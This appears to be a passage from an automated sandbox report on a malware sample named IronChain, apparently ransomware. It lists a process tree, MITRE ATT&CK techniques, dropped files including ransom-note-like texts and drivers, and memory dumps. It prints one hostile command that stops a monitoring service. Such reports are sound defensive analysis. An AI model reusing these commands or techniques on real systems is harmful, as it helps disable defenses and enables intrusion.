C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "sc stop Resmon"3⤵
-
C:\Windows\system32\sc.exesc stop Resmon4⤵
-
-
-
-
C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe"C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe" C:\Windows\System32\Wbi7npdFoQwzs3U3padGaWtZe9S9vcc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\IronChain.exe"C:\Users\Admin\AppData\Local\Temp\IronChain.exe" C:\Users\Admin\AppData\Local\Temp\IronChain.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
3Service Execution
3Windows Management Instrumentation
1Persistence
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1File and Directory Permissions Modification
1Impair Defenses
2Disable or Modify System Firewall
1Indicator Removal
3File Deletion
3Replay Monitor
Loading Replay Monitor...
Downloads
_SHA256.pyd
INSTALLER
BdApiUtil.sys
BootRepair.sys
_pkcs1_decode.pyd
_raw_aes.pyd
_raw_aesni.pyd
_SHA1.pyd
_modexp.pyd
_cpuid_c.pyd
_strxor.pyd
ProcessMonitorDriver.sys
ThrottleStop.sys
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp314-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
_wmi.pyd
_zstd.pyd
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python314.dll
select.pyd
Lorem ipsum.txt
unicodedata.pyd
__PSScriptPolicyTest_kzossuxd.0sr.ps1
PLEASEREADTHIS.txt
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
IronChain.hta
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
PLEASEREADTHIS.txt
IronChainBg.bmp
hosts
AES.py
AES.pyi
ARC2.py
ARC2.pyi
ARC4.py
ARC4.pyi
Blowfish.py
Blowfish.pyi
CAST.py
CAST.pyi
ChaCha20.py
ChaCha20.pyi
ChaCha20_Poly1305.py
ChaCha20_Poly1305.pyi
DES.py
DES.pyi
DES3.py
DES3.pyi
PKCS1_OAEP.py
PKCS1_OAEP.pyi
PKCS1_v1_5.py
PKCS1_v1_5.pyi
Salsa20.py
Salsa20.pyi
_ARC4.pyd
_EKSBlowfish.py
_EKSBlowfish.pyi
_Salsa20.pyd
__init__.py
_chacha20.pyd
_mode_cbc.py
_mode_cbc.pyi
_mode_ccm.py
_mode_ccm.pyi
_mode_cfb.py
_mode_cfb.pyi
_mode_ctr.py
_mode_ctr.pyi
_mode_eax.py
_mode_eax.pyi
_mode_ecb.py
_mode_ecb.pyi
_mode_gcm.py
_mode_gcm.pyi
_mode_kw.py
_mode_kwp.py
_mode_ocb.py
_mode_ocb.pyi
_mode_ofb.py
_mode_ofb.pyi
_mode_openpgp.py
_mode_openpgp.pyi
_mode_siv.py
_mode_siv.pyi
_pkcs1_oaep_decode.py
_raw_arc2.pyd
_raw_blowfish.pyd
_raw_cast.pyd
_raw_cbc.pyd
_raw_cfb.pyd
_raw_ctr.pyd
_raw_des.pyd
_raw_des3.pyd
_raw_ecb.pyd
_raw_eksblowfish.pyd
_raw_ocb.pyd
_raw_ofb.pyd
BLAKE2b.py
BLAKE2b.pyi
BLAKE2s.py
BLAKE2s.pyi
CMAC.py
CMAC.pyi
HMAC.py
HMAC.pyi
KMAC128.py
KMAC128.pyi
KMAC256.py
KMAC256.pyi
KangarooTwelve.py
KangarooTwelve.pyi
MD2.py
MD2.pyi
MD4.py
MD4.pyi
MD5.py
MD5.pyi
Poly1305.py
Poly1305.pyi
RIPEMD.py
RIPEMD.pyi
RIPEMD160.py
RIPEMD160.pyi
SHA.py
SHA.pyi
SHA1.py
SHA1.pyi
SHA224.py
SHA224.pyi
SHA256.py
SHA256.pyi
SHA384.py
SHA384.pyi
SHA3_224.py
SHA3_224.pyi
SHA3_256.py
SHA3_256.pyi
SHA3_384.py
SHA3_384.pyi
SHA3_512.py
SHA3_512.pyi
SHA512.py
SHA512.pyi
SHAKE128.py
SHAKE128.pyi
SHAKE256.py
SHAKE256.pyi
TupleHash128.py
TupleHash128.pyi
TupleHash256.py
TupleHash256.pyi
TurboSHAKE128.py
TurboSHAKE128.pyi
TurboSHAKE256.py
TurboSHAKE256.pyi
_BLAKE2b.pyd
_BLAKE2s.pyd
_MD2.pyd
_MD4.pyd
_MD5.pyd
_RIPEMD160.pyd
_SHA384.pyd
_SHA512.pyd
__init__.py
__init__.pyi
_ghash_clmul.pyd
_ghash_portable.pyd
_keccak.pyd
_poly1305.pyd
cSHAKE128.py
cSHAKE128.pyi
cSHAKE256.py
cSHAKE256.pyi
keccak.py
keccak.pyi
PEM.py
PEM.pyi
PKCS8.py
PKCS8.pyi
_PBES.py
_PBES.pyi
__init__.py
Numbers.py
Numbers.pyi
Primality.py
Primality.pyi
_IntegerBase.py
_IntegerBase.pyi
_IntegerCustom.py
_IntegerCustom.pyi
_IntegerGMP.py
_IntegerGMP.pyi
_IntegerNative.py
_IntegerNative.pyi
DH.py
DH.pyi
HPKE.py
KDF.py
KDF.pyi
SecretSharing.py
SecretSharing.pyi
__init__.py
__init__.pyi
_scrypt.pyd
DSA.py
DSA.pyi
ECC.py
ECC.pyi
ElGamal.py
ElGamal.pyi
RSA.py
RSA.pyi
__init__.py
_curve.py
_curve25519.pyd
_curve448.pyd
_ec_ws.pyd
_ed25519.pyd
_ed448.pyd
_edwards.py
_montgomery.py
_nist_ecc.py
_openssh.py
_openssh.pyi
_point.py
_point.pyi
__init__.py
__init__.pyi
random.py
random.pyi
__init__.py
common.py
test_AES.py
test_ARC2.py
test_ARC4.py
test_Blowfish.py
test_CAST.py
test_CBC.py
test_CCM.py
test_CFB.py
test_CTR.py
test_ChaCha20.py
test_ChaCha20_Poly1305.py
test_DES.py
test_DES3.py
test_EAX.py
test_GCM.py
test_KW.py
test_OCB.py
test_OFB.py
test_OpenPGP.py
test_SIV.py
test_Salsa20.py
test_pkcs1_15.py
test_pkcs1_oaep.py
__init__.py
common.py
test_BLAKE2.py
test_CMAC.py
test_HMAC.py
test_KMAC.py
test_KangarooTwelve.py
test_MD2.py
test_MD4.py
test_MD5.py
test_Poly1305.py
test_RIPEMD160.py
test_SHA1.py
test_SHA224.py
test_SHA256.py
test_SHA384.py
test_SHA3_224.py
test_SHA3_256.py
test_SHA3_384.py
test_SHA3_512.py
test_SHA512.py
test_SHAKE.py
test_TupleHash.py
test_TurboSHAKE.py
test_cSHAKE.py
test_keccak.py
__init__.py
test_PBES.py
test_PKCS8.py
__init__.py
test_Numbers.py
test_Primality.py
test_modexp.py
test_modmult.py
__init__.py
test_HPKE.py
test_KDF.py
test_SecretSharing.py
test_ecdh.py
test_rfc1751.py
__init__.py
test_DSA.py
test_ECC_Curve25519.py
test_ECC_Curve448.py
test_ECC_Ed25519.py
test_ECC_Ed448.py
test_ECC_NIST.py
test_ElGamal.py
test_RSA.py
test_import_Curve25519.py
test_import_Curve448.py
test_import_DSA.py
test_import_ECC.py
test_import_RSA.py
__init__.py
test_random.py
__init__.py
test_dss.py
test_eddsa.py
test_pkcs1_15.py
test_pss.py
__init__.py
test_Counter.py
test_Padding.py
test_asn1.py
test_number.py
test_rfc1751.py
test_strxor.py
__init__.py
__main__.py
loader.py
st_common.py
DSS.py
DSS.pyi
PKCS1_PSS.py
PKCS1_PSS.pyi
PKCS1_v1_5.py
PKCS1_v1_5.pyi
__init__.py
eddsa.py
eddsa.pyi
pkcs1_15.py
pkcs1_15.pyi
pss.py
pss.pyi
Counter.py
Counter.pyi
Padding.py
Padding.pyi
RFC1751.py
RFC1751.pyi
__init__.py
_cpu_features.py
_cpu_features.pyi
_file_system.py
_file_system.pyi
_raw_api.py
_raw_api.pyi
asn1.py
asn1.pyi
number.py
number.pyi
py3compat.py
py3compat.pyi
strxor.py
strxor.pyi
__init__.py
__init__.pyi
AUTHORS.rst
LICENSE.rst
METADATA
RECORD
WHEEL
top_level.txt
METADATA
RECORD
WHEEL
LICENSE.md
top_level.txt
memory/220-11795-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-13533-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-10649-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-10482-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-10881-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-10221-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-9709-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-11346-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-11088-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-11472-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-11659-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-11759-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-9512-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-11896-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12010-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12042-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-8952-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-8724-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12015-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12153-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12266-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12497-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-8503-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-7209-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12799-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12730-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12559-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12832-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-12831-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-13228-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-13515-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-13570-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-14051-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-10798-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-14578-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-14722-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-14812-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-13391-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-15203-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-13347-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-15568-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-15597-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-15619-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-15716-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-15828-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-16234-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-16242-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-16300-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-16307-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-6878-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-16308-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-6490-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-6322-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17781-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-3144-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17745-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17765-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17747-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17746-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17776-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17777-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17778-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17779-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/220-17780-0x000001B87D770000-0x000001B87DE5D000-memory.dmp
memory/6004-3152-0x0000029115760000-0x0000029115782000-memory.dmp